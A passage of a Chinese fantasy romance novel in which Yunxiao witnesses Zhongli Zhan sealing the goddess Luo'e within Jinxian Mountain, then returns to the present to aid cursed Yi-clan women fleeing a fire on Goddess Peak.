就像她第一次附身在钟离湛的身上一样,她的魂魄虽然离开了钟离湛的身体,却仍然去到了一个与他有关的时间,短暂地成了俯瞰的一双眼。 云绡魂魄离开的那一天之后发生了什么她不知道,但距离她魂魄离开后又过了很长时间,钟离湛又一次去了锦仙山。 这一次他孤身前往,锦仙山上也不似云绡后来在鬼女山看见的那样和谐。 她们数千人聚集在山坳处,有的想要离开,有的害怕离开,有的则聪明地占据一方资源,为了几棵果树打得不可开交,也有的道不同不相为谋,与另一批人划清界限。 没有精致的屋楼,没有古老的梯街,没有花团锦簇的小道,也没有自产自造的柴米油盐。 云绡的魂魄与那些旖族女子擦身而过,跟去了钟离湛的身边。 她离钟离湛很远,远到看不清他的表情,但她能听到他的声音,他看上去似乎比她来时消瘦了许多。 云绡猜也猜得到,他颁布了旖族不能生女的命令,顶着巨大压力的他总要来找一回致使旖族女子变成这样的罪魁祸首。 “不是你不说,孤就一无所知。”钟离湛冷冷地看向那个冰霜凝结而成的美人。 明明洛娥比他高,可他却像是在睥睨对方。 “孤遇见了个奇妙的机缘。”钟离湛道:“有一个人将孤一直无法挣开的梦境撕出了裂口之后,孤再入梦,总能比上一回看见的多一些。” “孤看见了清晰的历史,知晓在最开始的战役中,尾人族因有野兽相助,与人族之战上占据上风,轻易拿下胜局。那个时候的尾人并非如今这样痴傻木讷,是因为一方赖棋才长出了让他们诚实忠贞的尾巴,从此不通隐藏,不明诡计,为各族打压。” “孤很奇怪,明明尾人族胜了,为何却还是输了。人族并无所长,如何能赖得尾人吃了这么大一个亏……后来孤就明白了。” 钟离湛盯着冰霜女子,声音低沉:“在尾人攻打人族之时,尚有另一族亦在攻打人族。” 云绡看不清钟离湛,却意外地能看清洛娥的神情,她见到洛娥变得慌乱,如若她有实质身躯,这个时候大约是冷汗淋漓。 “湖族即便有排兵布阵之法,但架不住人族学习太快,虽有两次败绩又很快就能重新站起来,所以人族在与湖族的对战中虽节节败退,却也有来有往。” 钟离湛道:“最终自然是人族损失惨重,不仅成了尾人族身下兽群的食物,也成了湖族的奴隶。此一局,其实是湖族与尾人族的较量,人族不过是他们计数的蝼蚁。” “湖族虽胜却慢,他输给了尾人族,但因执子之神赖棋,最终结果变成了湖族胜于尾人,叫尾人族多了一条与生俱来的兽尾。” 钟离湛说着,洛娥明显有些招架不住地崩溃。 她浑浑噩噩的,声音却从四面八方裹挟着冷风袭来:“是尾人耍赖!他们有野兽相助,湖族只是肉体凡胎,比起速度当然比不过!当初就不该给尾人与兽沟通的能力,尾人超出其他族人太多,总得削弱几分,这场局玩起来才有意思。” “所以,是玩?”钟离湛的声音却比那寒风还冷,像是刀刃,割断了洛娥的理智。 “所以,所谓神明赐福于苍生,将人划分五族,各族皆有其优势所在,这些!也都是玩。” 钟离湛半垂着头,回想起他活着的这二百多年见过的生离死别,他是从凡人的最底层,最卑微处一剑剑斩断不公才走出来的。 年幼的身躯,不甘的灵魂,一把以恶人鲜血滋养的剑,这就是他后来的全部了。 可人原来站得越高,看得越广,知道得越多,越接近此世间真相时,往往才更恐惧,明白原来他们都是蝼蚁。 神明丢了一粒米在蚁窝外,他们能为了那粒米挣个数百年的头破血流。 钟离湛沉声道:“所以,你是因为破坏了棋局,违反了游戏的规矩,才被赶了下来。” 洛娥没有回答,可她的每一个反应都是回答。 她是旖族的神女,她曾为旖族赐福,给予旖族非同寻常的力量,可因为她与祁山鹤相爱,又被祁山鹤丢下,因爱生恨给了旖族女子如同菟丝花一样的诅咒。 凡是与她们接近的男子都容易被她们吸引,而凡是爱上她们的男子都要以运势骨血去饲养她们。 钟离湛想要知道的答案他都明白了,来这里不过是多了一番求证罢了。 “看来操纵棋局的,也不尽有脑子。”他杀人诛心道:“看你就知道了。” “钟离湛!!!” 钟离湛没再看洛娥,他拂袖转身的时候突然说了一句:“孤知道这座山是你的本体,你与你爱的子民,生生世世相守,都别再出来害人了。” “你要做什么?!” 洛娥想要去抓住钟离湛,可她竟然无法触碰钟离湛,云绡的魂魄骤然被拉得很远,也是这个时候她才发现整座锦仙山外布满了符文。 方才与洛娥谈话的不过是钟离湛制造的符人幻象,幻象字字珠玑转移洛娥的注意力,钟离湛在外将整片锦仙山与世隔绝,全都封锁在他设下的符咒阵界之内。 阵圈如同一朵绽放的金莲,莲瓣像刀一样深刻地削下地面,裂成悬崖峭壁,成了与外界分裂的鸿沟。 金莲花瓣之上,符文洋洋洒洒,咒印寸寸相连,那是云绡在鬼女山外短暂看见的印记。此刻再去 看,清晰的字迹在她眼前一闪而过,她很快就捕捉到了自己熟悉的部分。 锦仙山是洛娥的本体,她操纵着寒霜想要从山中逃离出去,滚落的碎石汇聚成一只冰雪覆盖的鬼爪,铺天盖地一样朝钟离湛的背影袭去。 “小心!” 云绡喊了一声,又见剑光闪烁,银色的暗芒从她眼前迅速回转,剑声嗡鸣,震耳欲聋。 山中女子哀嚎不断,那冰霜鬼爪化成了浠沥沥的雨雪,云绡回头看去,便见到锦仙山被钟离湛的剑削平了一座小山峰,将整片山壁露了出来。 光滑的山壁上,女子的身影即将挣扎出来。 洛娥的哭喊声比她山中那些旖族女子更高,一声声凄厉地居然是在问:“你知道了,你都知道了!为何还不告诉我祁山鹤的下落!” 钟离湛的玄衣在阳光下隐隐有斑斓的霞光,高束的卷发飞扬,他听着洛娥的话只觉得可笑,但窥得世间真相,心理上到底是有些崩塌了的。 “钟离湛,你告诉我,告诉我祁山鹤去了哪里!” “我为他付出了那么多,他怎能丢下我就走?我要知道他在哪儿,你告诉我他在哪儿!” 云绡双手捂住耳朵,可她不过是魂体,无法屏蔽这刺耳的声音。 “聒噪!” 钟离湛低呵一声,手指凌空点在削平了的山壁上,缭乱的字体化成咒印,封住了洛娥的声音,将她疯狂的意识锁在那面墙上。 做完这一切他转身就走了。 没有回头,一步步离开锦仙山。 整座花团锦簇绿意盎然的锦仙山在他每一步离开时都冷上三分,眨眼之间就化成了冰凌的雪山。 白雪覆盖了金莲咒印的痕迹,也遮蔽了云绡认出来的,那些符文上夹杂着的反咒。 云绡看着他走出了锦仙山,越走,脊背越弯。 云绡的眼眶忽而一酸,她感受到心口传来的疼痛,她知道钟离湛在难过,她竟然觉得,她明白他这一刻的感受。 钟离湛说,那些神明高高在上地掌管着世人的一切,人将希望寄托于神明是天真的妄想。 他说,世有不公,他就要用自己心中的正义,做那天地间的一杆秤。 可原来那首诗是这个意思啊。 长空为垫云为台,山河化掌灵作盘,巧赐苍生一精炁,左右天道执黑白。 神明以凡人做局,执子对弈……所以她在钟离湛的梦境里看见白光化作的巨人,那一根根像是能随时捏死他们的手指,其实都是真实存在的。 她离开梦境前看见脚下一闪而过的红光,不过是棋局上分布领地的线。 云绡不知道该如何安慰他,她甚至知道钟离湛方才不过只是放狠话,他的力量无法解开旖族女子身上的诅咒,所以他才恐吓让那些女子老老实实待在山中。 山里没有要她们性命的东西,山外的反咒也是为了防止有朝一日她们贸然离开锦仙山,去了外界伤害了其他无辜之人。 这已经是他当下能做到的与想到的,最好的办法了。 在云绡面前从来如山一样的男子,封印一座化形为山的神女,耗尽了他的心力,毫无预兆地噗通一声朝前栽去。 “钟离湛!” - “钟离湛!” 云绡猛然睁开眼,入目所见的第一眼就是站在她面前的男子。 看着那张熟悉的脸,对上钟离湛那双担忧的目光,云绡想也没想就朝他扑了过去。 钟离湛觉得她这一次冲过来的力道像是一头小蛮牛,额头撞得他胸膛震震,分量着实不轻。 他搂住了云绡的腰,另一只手安抚地托着她的后脑,沿着她的发丝顺了顺她的背,问:“怎么了?这一次我算准了你归来的方位,半点没有错漏,怎么还害怕这成这样?” 是了,害怕。 钟离湛从云绡睁开的眼中看见了担忧和害怕,她睁眼的刹那眼眶就红了。 滚烫的,潮湿的触觉沿着他胸前的皮肤滑落,炙热的呼吸粗粗地喘着,钟离湛抱着云绡的手臂一僵,他扶起云绡的脸抬起她的下巴去看。 “怎么真哭了?” 剑眉紧促,钟离湛的手指拂过云绡的脸。她哭得不狠,也无声无息的,就是眼泪止不住一样,刚擦去又落下。 每一滴眼泪都像是透过他的皮肤骨肉,砸在了他的心口上,带着难以忽视的温度,让他擦拭的指尖都在发麻。 “到底怎么了?”钟离湛捧起她的脸,试探着她的灵魂并无伤痕:“绡绡!” 云绡扁着嘴,她近距离地望着眼前的钟离湛,他的额心没有那一条细得像线一样的红痕,他是她熟悉的人,是她更喜欢的钟离湛。 云绡知道自己回来了,她看见的那些全都是两千余年前的过去。可九星连月阵无法驱散她心里在那一瞬的难过,于她而言,钟离湛才在她的眼前倒下,可她无法扶起他。 云绡抬手抹过钟离湛紧促的眉心,掌心揉了揉他的额头,说话时带着哭腔的鼻音:“你的头痛不痛啊,钟离湛。” 钟离湛不明所以,但他还是摇头回答云绡:“不痛。” 这句话起到有效的安抚,云绡哭得没那么狠了,那只小手也换了位置,掌心贴着钟离湛的心口,抚摸着他的胸膛,肌肤相贴。 “那你这里呢,还难不难受了?呜呜。” 云绡的声音还在颤抖着,钟离湛却听明白了她话中的意思,他在这里等了三天,但云绡在过去恐怕经历得颇为漫长。 “不论你看见了什么,那些都已经过去了,绡绡。”他望着她的眼:“你看,我这不是好好地站在这里吗?” 云绡刚止住的泪又被他这句话给激出来了。 “不是的,不是好好的,钟离湛。”她踮起脚,双手紧紧地勾住他的脖子,抱得越发得紧。 不是的,他不是好好的,他已经死了。 第69章 湿热的气息闷在肩膀处,钟离湛俯身弓背,将怀中的少女抱得更紧了些。 他听着云绡压抑着的呜咽声,宽大的手掌一遍遍抚摸她的脊背安抚,不断开口重复:“好了好了,不哭了,不难过了。” 钟离湛没见过云绡如此,她以前也落过泪,但与云绡熟悉了之后钟离湛也知道她有很多次的眼泪都是假的。 她表面上看过去再难过,内在情绪仍然稳定。 这一次云绡显然是崩溃了。 云绡无法遏制地去想后来的钟离湛又经历了什么,他忘记的好似都与他当初的痛苦有关,那些事情若再想起来,只怕又是一道伤害。 云绡止不住自己的眼泪,也暂时说不出话。 钟离湛的声音很温柔,他哄着她,也不再追问她,只是告诉她没关系的,不论如何那些都已经过去了。 他每一次开口,温热的唇都会轻轻吻一下云绡的侧脸、鬓角、耳垂或发丝……他的吻伴随着熟悉的气息,对此刻的云绡而言,已是最好的良药。 云绡知道自己不能再哭了。 她的情绪只能崩溃片刻,理智迅速回笼后意识到今昔何时,他们又身处何方。 这里是锦仙山,从来都不是什么世外桃源,这整座山都是洛娥的身躯,她也不像是会给旖族女子安稳宁静生活的神女。 云绡深呼吸几次,松开了钟离湛的脖子,可她的手仍然要抱着他, 身体颤抖着,不想松开。 钟离湛抹去她脸上的眼泪,见她缓和下来这才道:“这么能哭啊?衣裳都被你哭湿了。” 云绡闻言,想起来他现在连衣裳都没有了,那挂在身上的玄衣不过是魂魄力量凝聚的假象,嘴一扁又要流眼泪了。 钟离湛本想开开玩笑,他哪儿有衣裳?就算有也不怕被她哭湿了。 一看云绡又要哭了,钟离湛连忙捧着小姑娘的脸俯身啄在了她的眼尾,再凑上脸颊,一吻落在了云绡微撅的嘴唇上,鼻尖蹭了蹭她的鼻梁。 他哄道:“不哭不哭,不哭了好不好?” 他好温柔啊,云绡想……他太好了,这么好的人就是很容易被人欺负。 所有人都在欺负他。 他一心为着的百姓,百姓成了流言蜚语的刀。 他一心为着的苍生,苍生却不知自己为盘中棋子。 什么人族、旖族、曦族的,他们本都是一样的,不过一直以来都在自相残杀罢了。 钟离湛的的吻很轻,碰一下离一下的,云绡被他亲了两下也断了想哭的情绪,自己抬起袖子糊了把眼泪鼻涕。 钟离湛见云绡终于不哭了,长舒一口气,他实在没有什么哄尉人的本领。 云绡抓住钟离湛的手腕道:“这里不是说话的地方,我看到了好些东西,还有朱木简上的内容我也弄明白了,等离开这里我说给你听。” 钟离湛被云绡拉着走,二人还没离开几步,仲卿便气喘吁吁地从山下往上跑。 一见到云绡已经离开阵心了,仲卿先是愣了一下,再朝她左右看了两眼。 云绡揉了揉泛红的眼角,问:“你在找谁?” “咦?”仲卿光是听声就觉得,眼前之人是他认得的云绡,而非孤身站立于山风中的那个人。 仲卿试探开口:“十一殿下?” 云绡没应他,瞪他一眼问:“你急匆匆的要做什么?” 不等仲卿回答,她又摇头:“罢了,不重要,赶紧找到徐容靳,我们要离开了。” 仲卿觉得自己要说的话不是不重要的,便连忙道:“十一殿下你一直在山上所以不知道,锦仙山中的村落到了天黑便要灭灯休息的,可从昨夜开始一直灯火通明,山中人举着火把在远方排成了一条长龙,也不知是要做什么。” 他答应了要守阵,就寸步不离,故而看见不对劲的地方也不敢管。 眼下深夜已过,那些举着火把的人还聚集在一起,仲卿这个时候才确定之前徐容靳并没有说谎,这座山到了晚上就是会有鬼哭声,他也听见了! 山里的风中带着断断续续的哭声传来,仲卿听得头皮都麻了。 好在九星连月阵已经关闭,他一把老骨头一口气就冲上山来想要和云绡会合。他听了一夜鬼哭,总觉得此山变得阴气森森。 云绡蹙眉,朝钟离湛看去。 钟离湛的意识远探,他也看见了一条队伍,里面的旖族女人都举着火把,速度不慢地往同一个方向汇聚。 那里是锦仙山中唯一一个个独立的山峰——神女峰。 钟离湛的意识探到了某些画面后愣了一下,对云绡道:“徐容靳在那里。” 云绡如今知道的比仲卿,比钟离湛,比徐容靳他们都多得多,自然也知道什么锦仙山上这些都是骗人的!两千多年前的锦仙山不像今日这般,被钟离湛封印在原地,化作雪山的疯子洛娥也不可能真的给旖族女人制造安泰的生活环境。 九星连月阵开启之前,云绡和钟离湛就觉得锦仙山实在太干净了,而且锦仙山上空的星辰也排布诡异,如今看来,她倒是猜出了原因。 “山为幻象梦境,而非现实。”云绡握紧钟离湛的手,对仲卿道:“我们去找徐容靳,途中我再解释给你们听。” 仲卿气还没喘匀呢,又要下山了,他真想滚下去。 叹了口气,连忙追上云绡。 - 去神女峰的途中,云绡没说太多,关于朱木简之事她只字未提,只是说起了洛娥的真身。 “锦仙山是洛娥的本体,洛娥的确是旖族的神女,不过她因爱生恨诅咒了旖族的女子都得不到毕生所爱,所以才让千百年来的旖族女成为了祸害他人的天煞孤星,洪水猛兽。” 仲卿闻言,长长啊了一声。 云绡又向他解释:“钟离湛发现了洛娥,未免旖族女子血里带的诅咒祸害了更多人,便将她们都送到了洛娥这座山上。原本是想要洛娥保护她的子民的,可洛娥是个疯子,她嫉妒那些人,她也不会保护她们。” “钟离湛无法,也不想洛娥离开锦仙山,只能将她封印在山中。”云绡说到这儿,突然随手抽出一根棍子朝仲卿的背上戳过去道:“所以这里不是什么后宫花园!你们湖族记录下来的野史都烧了吧!” 仲卿:“嗷!烧,烧。” 又不是他写的,小姑娘下手可真狠! “你说的幻象梦境,是什么意思?”仲卿连忙把话题扯回去,不然他怕云绡再捅他两下。 仲卿也非傻子,云绡是曦族的,钟离湛也是曦族,他从一开始就看出云绡有意无意都在偏袒钟离湛,即便正史上记录的钟离湛是个杀神,云绡也为他辩驳过。 他毫不怀疑云绡是杀神的信徒,曦族还有很多人与云绡一样,仍然信奉钟离湛。 云绡道:“锦仙山在两千年前就已经是雪山了,我们在山外看见的一切才是真相,入了锦仙山中跳进洛娥设下的幻象,才到了这片山明水秀之地。” 洛娥虽疯,可她对见到祁山鹤抱有希望,否则不会在钟离湛封印她两千年后的今天,察觉到钟离湛的气息之后会那样急迫地以风雪化形来见他。 云绡以一种类似妍妃那扭曲的心理去推测洛娥,轻而易举就能猜出洛娥建造山间幻象的原因。 她仍然期待着有朝一日见到了祁山鹤,让祁山鹤看见她的,是她温柔完美的一面。 锦仙山,曾是旖族女子的坟墓,如今在旖族女子的口口相传中变成了一座世外桃源。甚至旖族中有不少外来客都见识过此地的秀丽风貌,仙山神像,在外人口中塑造的洛娥,便是陆梨最开始说的那样。 心系苍生,庇佑旖族。 她离不开,不妨碍她美化自己,可这座山的真实面貌究竟是什么模样,恐怕只有山中少数人知道。 那夜里的鬼哭声,也不是空穴来风。 云绡在说起洛娥时,钟离湛一直看向她,他能感受到云绡的气愤,她的语气像是在为那些旖族女子打抱不平。 钟离湛忽而觉得,云绡真的变了很多。 一个杀人眼都不眨,无悲无喜谁也不怕的小姑娘,因爱生出了同理心。 云宓是造就云绡痛苦的根源之一,她讨厌云宓,所以连带着讨厌所有旖族女子。陆梨跟着他们一路走来锦仙山时几次想要主动亲近云绡,云绡都对她避之不及,十足冷淡,可仍然会因为陆梨摔下山崖,而动御风符下山一探究竟。 她那么讨厌旖族女子,却会救下陆梨,会为山中女人们不公。 钟离湛想,她真可爱。 每多看一眼,都让人更喜欢。 - 云绡对仲卿说的话,仲卿正在慢慢消化,颠覆了一贯以来认知的东西,总得让他缓一缓的。 可显然云绡没给他时间,拉着仲卿就赶在那些旖族女子之前到了神女峰。 见到神女峰时,云绡和仲卿都愣住了。 神女峰着火了。 那火势顺着神女峰山下一路烧到了半山腰,还有往上窜去的趋势。 神女峰特殊,如同一支竖立的笔,并无上山的路,山壁上光滑得甚至连草木都不生,这样一块就像是石头一样的神女峰居然能燃起大火。 火光照耀之处,云绡看见了几道人影,有认得的,也有不认得的。 陆梨瘸着腿与一名瘦弱的孕妇互相搀扶着背对着火光正在往云绡这边过来,水荷的身后还跟着几名女子,有年轻的也有老迈的,她们无一不是皮肤泛青,一副将死之状。 徐容靳在最后,两只小野鸡立在他的肩头上,而徐容靳仗着身量和力气,一个胳膊夹着一个女人。那两个女人一个还在呜呜哭泣,另一个已经神志不清地不知在念叨着什么。 云绡和仲卿周围没有遮挡,徐容靳长得高,一眼就看见了他们。 他双眸一亮,扬声喊道:“娘!大哥!” 这样一喊,其他人也都朝云绡看了过来。 “娘!娘啊!呜呜呜— —” 人高马大的徐容靳看见朝思暮想的娘,呜哇一声就哭了出来,快速朝云绡跑过去,也没管自己两个胳膊抱着的女人们颠得厉害。 徐容靳跑到云绡跟前,将两个女人往地上一放,也不管她们的生死了,张开双臂就要去抱云绡。 钟离湛扯过云绡的胳膊,仲卿忽而觉得脚下一个踉跄,人就扑在了徐容靳的怀抱里。 徐容靳抱住仲卿就喊大哥,泪眼朦胧地朝云绡看过去:“娘,太吓人了,这里有鬼,有鬼!” 云绡没想鬼的事儿,她指着那还在不断往上冒火的神女峰,问徐容靳:“这是什么情况?” 陆梨走过来,连忙替徐容靳解释道:“云绡姐姐你别怪徐大哥,他是为了救人才放火的。” 徐容靳是被她拉过来的,陆梨也知道在人家锦仙山上放这么大的火定然是闯祸了,她不想让云绡责怪徐容靳。 云绡睁大了眼睛看向徐容靳:“你放的火?” 徐容靳扁嘴,也怕云绡怪他,他弓着背把头一个劲儿地往仲卿怀里塞:“大哥,大哥,别让爹娘打我,我怕疼。” 云绡望着越来越大的火势,几乎窜天的烟雾,心想徐容靳这个心智不全还胆小怕鬼的样子,怎么能闯出这么大的祸……啊不是!该是怎么能办这么大的事才对! “不过这火看上去不对劲啊。”云绡道:“山壁也能烧这么旺吗?” 钟离湛道:“是我绘的火符。” 云绡闻言,心下一惊:“那糟糕了!” 一张御风符都能引来洛娥,他们就在洛娥的身上烧起这么大的火,还是钟离湛所绘的火符…… 火光中,一粒粒晶莹从天而降,天还未亮,寒风饕饕。 忽而一人道:“下雪了。” 第70章 这一声下雪了,叫火光前的所有人都抬头朝空中看去。 天蒙蒙亮,飘零的雪花待吹到跟前时已经融化成了轻薄的水,覆盖在人的脸上带着丝丝凉意。 这微弱的冷意叫与陆梨依偎在一起的女子恍惚了瞬,她扶着陆梨的手忽而收紧,整个人弓着背以一种保护肚子的姿态缩在陆梨的身后,脸也藏了起来。 她是第一个躲避雪的人,却不是最后一个。 以这声下雪了为始,那些跟在陆梨和徐容靳身后的女人们纷纷捂着脸蹲下身,就连哭声都没有了,几乎每个人都以相同的姿态,臣服于寒冷。 陆梨不明白发生了什么,水荷看见她们这样却已泪流满面。 云绡的目光只扫过神女峰,她沉下脸,在知道锦仙山的真容之后她只想着带上徐容靳就走,可这一刻心中的恼怒与愤懑让她难以忽视这些女人的无助。 她很纠结,她知道自己该尽快离开这里,身处山中难免受洛娥限制,即便要救人也可以离开这座山再议。 偏偏双脚立在原地没动。 云绡侧眸朝钟离湛看去一眼,在对上钟离湛视线时她的纠结忽而就清明了。 云绡知道,在她犹豫的时候,她其实就已经做出了决定。站在原地不动只会耽误时间,既然她已经有了成型的念头,干脆就这样去做。 “徐容靳。”云绡将那哭哭啼啼的男人与仲卿拉开,道:“将人带上。” 徐容靳对上云绡严肃又冷静的眼神,抹了把眼泪又将那两个不能行走的女人夹在胳膊下,一边呜呜呜,一边朝上山走。 云绡这边一动,陆梨和水荷都眼露意外,又像是忽而拥有了主心骨一样,带着她们一同护着的女人们跟在徐容靳的身后。 云绡救了人,钟离湛一点也不意外。 但是看她一边救人,一边恼怒,一张小脸气鼓鼓地不知在胡思乱想什么,又觉得她真是分外可爱。 云绡的确恼怒,恼怒自己明知危险却还是这样做了,恼怒那些旖族女人与她无亲无故的可她还是同情了,恼着恼着就将这些过错全都怪罪在洛娥的身上。 都怪洛娥! 若不是她成了疯子,害了这些人,这千百年来的旖族女子又如何会变成人人避之不及的祸害?! 云绡知道,她这一刻的行为与若川山上的钟离湛其实并无分别,只是钟离湛心甘情愿思量到了后果,而她是临时决定也不情不愿。 再不情愿,结果也是如此了。 云绡深吸一口气,既然结果如此,便坦然接受。 “云姑娘。”身后忽而传来熟悉的声音。 云绡回头看的功夫,水荷已经走上前了。 她的眼泪还没止住,想要拉着云绡的手又不敢,焦急道:“阿樱流血了,陆梨说云姑娘有天大的本事能救人,你能不能……救救她?” 这个时候水荷就算再笨,也知道云绡不是她一开始入山时说的那样有什么夜游症的可怜少女了。 云绡顺着水荷手指的方向看去,阿樱正是一开始便与陆梨相互搀扶的女子,她是个孕妇,披头散发发丝还白了一些。 云绡原本以为她年纪挺大的,这回看清了她的脸才看出,她大约只有二十左右,比水荷还要小些。 云绡扫过阿樱已经印出血色的裤子,眉头一蹙便往回走,她对着阿樱的身体使了治愈的符咒。 阿樱苍白着脸色,她是这些女子中死气最重的一个,明明是娇花一样的年龄却如枯枝死叶,进气出气都很少,瘦得厉害。 云绡在施咒时看见了阿樱脖子上挂着的红绳,精心编制的花绳上坠着一枚雕刻精细的狼牙,她是那个男人的爱人。 “阿樱,我们不要她了吧,好不好?”水荷一看她这模样,眼泪就忍不住落下来:“阿樱,她一定是个女孩儿,你就算生下来又怎样?你越爱她,对你的伤害就越大,趁着现在还来得及,反正我们没看见她,就当她从来没来过,好不好?” 一听不要孩子了,阿樱连忙抓住了云绡的手腕,她已经用尽全力,可那力道仍然很轻,就像一片带着体温的叶子搭在云绡的手上。 她对着云绡摇头哀求:“我要孩子,我、我要孩子。” 云绡手一颤,不自然地抽了回来。 阿樱又握住了水荷的手,眼泪扑簌簌地落下道:“水荷阿姐,我知道,我已经活不成了……我只想撑到孩子出生,我不想我离开之后,他又变成一个人。哪怕我的孩子真的是个女孩,哪怕她自生下来就不能离开这座山,可他还是、还是能偶尔进山来看一眼的,对不对?这样、这样他就不孤单了。” 阿樱抚摸着腹中的孩子道:“这世上,总要有些女孩和我们不一样,我总要让她知道,她不是不被人爱,她不是不配存在的。” 云绡见符咒融入阿樱的身体,施咒的手迅速收了回来,阿樱的血已经止住了。 阿樱对她温柔地笑了笑:“谢谢云姑娘,我已经不疼了。” 云绡的脸色有些难看,她抿唇瞥了一眼阿樱的肚子,转身快步朝前离开。 回到钟离湛身边后,云绡双手抓住了钟离湛的手腕,好像只有这样才能给予她一点力量。 钟离湛的手掌轻轻落在云绡的头顶上揉了揉。 “她、她的……” “我知道。” 云绡想说的话被钟离湛打断,云绡又问:“那、那有没有办法……” 钟离湛没有回答,便说明是没有办法了。 云绡刚才去施展符咒的时候就已经发现阿樱的身体里没有生气了,连她自己都是行将就木,更别说留半点养分给孩子。她肚子里的孩子没有生机,云绡只能给她止血,不能救她的命。 明明不是她的原因,可云绡仍然有种无能为力后 的愧疚感,大约是因为阿樱后来对她露出的笑容,是云绡为数不多见过的干净又纯粹的好意。 云绡只能将她们带出神女峰,以免她们被神女峰周围的火势所伤,也暂且避开洛娥的锋芒。 可身后白雪纷纷,风越来越冷,就连明明即将升起的太阳也在这个时候迟迟未起,天空始终保持着一种愈明未亮的蓝。 洛娥终会追上她们,一旦她追上她们,就会发现云绡和云绡指上属于钟离湛的骨戒。 她不能带她们离开锦仙山,钟离湛于锦仙山外设下的符咒矩阵每一片莲花瓣上都刻上了反咒,留在锦仙山她们或许还能活,离开锦仙山那些反咒会伤其自身,她们也活不久。 出神女峰范围,一路往水荷给云绡安排的那个空荡的村落行去,因为山中所有人都往神女峰过去,这里反而是安全的。 风雪依旧,温度骤降,村子里空着的房屋中还有一些被褥,全都被水荷拿出来盖在已经筋疲力尽的旖族女子身上。 那些人裹着被子瑟瑟发抖,一个屋子里就只有二十多人,水荷看着一张张熟悉的面孔,心如刀割。 尤其是在看见阿樱的时候,她面对阿樱那张消瘦青灰的脸,几乎已经记不起来她过去明艳活泼,天真璀璨的模样了。 水荷紧咬着下唇,她也叹命运不公,可这不公的命运,她们连挣都无法挣脱。 - 屋外仲卿架起火堆,他走到哪儿徐容靳就非得跟着他去哪儿,还说山里有鬼,他害怕。 陆梨坐在云绡的对面,小心翼翼地朝云绡看去,她有些担心云绡会怪她带着徐容靳惹事,可云绡只是让她将脚伸出来。 疗愈的符咒云绡画得驾轻就熟,印在陆梨的腿上时她顺口问了句:“还疼不疼?” 这是云绡第一次“关心”陆梨,陆梨受宠若惊,又忍不住亲近:“不疼的。” 她被野兽咬的时候都能忍下来,这点疼痛算得了什么? 云绡抬眸看她一眼,陆梨一张小小的脸带着几分讨好,没得云绡笑脸,只得到云绡一句:“不疼了就自己走进去。” 陆梨有些受伤地哦了声,待到进到屋子里,感受到屋内的温度驱散寒意,她又回头朝云绡看去。 “云绡姐姐真是个好人。” 水荷听见陆梨这话,神色恍惚了一瞬,眼眸中又闪过坚定的光,她犹豫的手倏然握紧,打开房门朝云绡走了过去。 云绡听到动静回头,水荷几步走上前,面对着云绡突然就朝她跪了下来。 她这一举动叫云绡愣住,一旁烤火取暖的仲卿和徐容靳也震惊地望着她。 水荷没再哭了,她对云绡道:“云姑娘,这世上会符咒的不多,懂符又懂阵的更是寥寥无几,山里的阵我看见了,您是个有本事的姑娘,求您发发慈悲,带我们离开锦仙山吧。” 云绡眨了一下眼,问她:“你懂阵?” 水荷点头又摇头:“只是学过一点,所以能看出来这三日山中的情形,若非山中阵启,阿樱她们也出不来。” 水荷会的那点皮毛,是同以前她喜欢的男子学的,那名男子是湖族人,他是意外来到锦仙山恰好被水荷救起,二人才有了短暂的缘分。 从未离开山的姑娘,很容易就会对山外的人动心,因为他们见过她们没见过的江河湖海,山川人文。 水荷喜欢他,也能感觉得出他对她也有些动心,否则他不会悉心教她阵法,想在她的面前表现自己。 可水荷不想害人,她是山里长大的,看多了山中女子因爱而伤,不是伤己就是伤人。 十五天很快过去,水荷亲自送走了他,但他教给水荷的本事水荷一直都记着。 在锦仙山上九星连月阵启时水荷就发觉了异样,她也曾起过妄念,想这是否是她们这些旖族女子的转机? 即便不是旖族女子的转机,那也应该是阿樱的转机。 云绡抿唇,沉默片刻后解释道:“不是我不想带你们走,而是我不能。山外有阵,阵中有反咒,无人能破,你们离开这里反咒自伤,或许死得更快。” “我知道的。”水荷苦笑道:“锦仙山服从规矩者,过得看似光鲜亮丽,可若是动情动心者,几乎都落不到好下场……我 知道旖族女子离开锦仙山后,越是在意一个人,自己消亡得却越快。” “她们都不怕的。”水荷指着那间屋子道:“她们都曾离开过锦仙山。” “云姑娘,我们不会缠着你,待我们离开这座山,我会负责她们的将来,我这辈子都不嫁人,只找一个无人的地方让她们至少能不受极寒之苦,至少能好好地活着。”水荷犹豫道:“只是届时麻烦云姑娘一件事,将阿樱送到黎城城主府,她、她或许等不到下一个十五天了。” “既然离开过,你们就该知道离开的下场,又为何要回来?”云绡不明白:“既然回来了,觉得不如意了又想走了,这不是自相矛盾吗?” 水荷苦笑道:“人总会在不甘和矛盾中犹豫不决,受到伤害后又悔不当初的,虽然我这样说或许有自我辩白的嫌疑,但命中带咒真的对我们不公。” “没有被爱过的人一旦拥有了爱,便如飞蛾扑火,以生命去燃烧。”水荷道:“她们不是没有挣扎过,她们只是无处可去,她们爱的人已经死了。她们以为,锦仙山永远是她们的家,是她们受过伤能回来疗愈的故乡……事实上回到这里,她们只是进入了另一个残忍的牢笼。” 仲卿闻言,意外道:“不是离开锦仙山便有反咒吗?若真遇见爱她们的人,那应当死的是她们。” 水荷微微颤抖道:“即使不幸,也是幸运的……那些男子也知道这一点,所以自杀了。” 抛弃一切,妄图挣脱命运枷锁和诅咒的旖族女子,满怀对执手之人的爱意,对未来的期待离开从小长大的山川,她们知道自己会死得越来越快,可仍然奔赴短暂的将来。 在他们最为相爱的时刻,总有痴情人不忍她们香消玉殒,留书一封,与世诀别,妄图将一切转回原点。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 第71章 锦仙山被称为鬼女山后,许多旖族人在怀孕时期就没舍得花钱找有本事的医馆以符问腹中是男是女,大多是生下来后看见是个女孩儿,再一狠心将其丢到鬼女山去。 水荷也是被亲生爹娘丢在山下侥幸躲过一劫后活下来的,阿樱则是水荷从锦仙山下捡来的孩子。 当时水荷年纪还小,她跟着的婶子告诉她,阿樱掉下来的地方和她当初掉下来的一样,二人身上裹着的抱被花纹也很相似。 水荷总想着,阿樱或许是她的妹妹也说不定,这样她也算是有一个亲人在身边,这世上还有与她血脉相连的人是可以爱着她,陪着她的。 那是水荷孩童时期天真的妄想。 也因为这一点妄想,阿樱可以算是水荷一手养大的。她将自己能给阿樱的都给了,她把阿樱养得天真到不像锦仙山里的女孩儿。 